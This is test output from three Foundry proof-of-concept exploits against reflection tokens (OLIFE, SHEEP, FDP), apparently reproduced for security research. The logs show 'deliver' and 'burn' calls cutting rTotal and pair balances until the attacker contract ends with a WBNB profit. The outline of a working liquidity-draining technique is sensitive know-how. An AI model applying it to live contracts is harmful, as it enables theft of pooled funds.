forge test --match-path ./test/OLIFE_exploit.sol -vvv
[PASS] testExploit() (gas: 2053405)
Logs:
[INFO] OLIFE rTotal amount before exploit: 85787064557914687385808389302142529537473958575299666392931825726514846459985
[INFO] LP Pool rOwned amount before exploit: 52183093109539423970655060745047488352191355196264772690610060507797169984665
[INFO] OLIFE amount in pair before the currentRate reduction: 5583143.203784247
[INFO] OLIFE amount in attack contract before deliver: 148760274.602488242
[INFO] OLIFE rTotal amount before loop transfer: 80232463100068046723341281231776589377142955898086881610546465168539439847121
[INFO] OLIFE rTotal amount before deliver: 40200448665335087600887604709511439395872309977515044071463339802120403101897
[INFO] OLIFE rTotal amount after deliver: 35418443622421426762592009661219262096468781030890380294889952695622203861897
[INFO] LP Pool rOwned amount after deliver: 1686716220024506686367921086370004158487204006800346538117599203788485107609
[INFO] OLIFE amount in pair after the currentRate reduction: 217839506118721725361.721643770
[INFO] OLIFE amount in attack contract after deliver: 16499689513508949904.965052673
[End] Attacker WBNB balance after exploit: 32.286315327663894139
forge test --match-path ./test/SHEEP_exploit.sol -vvv
[PASS] testExploit() (gas: 1257901)
Logs:
[INFO] SHEEP rTotal amount before exploit: 60584254173738479822327251709072292945892110836412010301654537246316242144512
[INFO] SHEEP amount in pair before burn: 2797524497.609081132
[INFO] SHEEP amount in attack contract before burn: 25909852936.496774794
[INFO] SHEEP rTotal amount before burn: 59215460978135173158676612258487448007070402970606630179506034991946198000500
[INFO] SHEEP rTotal amount after burn: 59215460978135173158676612258487448007070402970606630179506034991946198000500
[INFO] SHEEP amount in pair after burn: 0.000000001
[INFO] SHEEP amount in attack contract after burn: 0.000000018
[End] Attacker WBNB balance after exploit: 16.393908411541380869
forge test --match-path ./test/FDP_exploit.sol -vvv
[PASS] testExploit() (gas: 345731)
Logs:
[INFO] FDP rTotal amount before exploit: 113325717736561360461048923028002855415995333992262419986800000000000000000000
[INFO] FDP amount in pair before deliver: 50070.843098193920432940
[INFO] FDP amount in attack contract before deliver: 49925.109590047580102880
[INFO] FDP rTotal amount after deliver: 80367630109601272051725235851404002303066533024905681230577600000000000000000
[INFO] FDP amount in pair after deliver: 11124332.801853764113675419
[INFO] FDP amount in attack contract after deliver: 4768241.456371843363743920
[End] Attacker WBNB balance after exploit: 16.176701609462839506